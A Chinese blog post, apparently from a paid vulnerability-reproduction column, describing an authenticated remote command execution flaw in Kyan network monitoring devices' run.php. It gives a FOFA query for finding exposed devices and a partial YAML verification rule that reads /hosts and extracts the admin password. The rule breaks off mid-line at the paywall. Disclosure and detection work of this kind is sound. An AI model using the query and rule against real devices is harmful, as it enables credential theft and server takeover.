Kyan网络监控设备run.php远程命令执行漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-03 15:16:20 修改

阅读量37

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-03 15:11:03 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137346622

版权

漏洞复现专栏收录该内容

360 篇文章 168 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了Kyan网络监控设备中run.php存在的远程命令执行漏洞，该漏洞配合账号密码泄露可能导致服务器权限被获取。修复建议包括更新官方补丁进行系统升级。

摘要由CSDN通过智能技术生成

漏洞描述
Kyan 网络监控设备 run.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞
fofa
app=”Kyan设计”
漏洞复现
登陆后访问/run.php，可直接执行命令

检测poc规则编写

params: []
name: Kyan网络监控设备run.php远程命令执行漏洞
set: {}
rules:
- method: GET
  path: /hosts
  headers: {}
  body: ""
  search: 'Password=(?P<name>.+?)\n'
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"UserName=admin") && response.body.bcontains

了解本专栏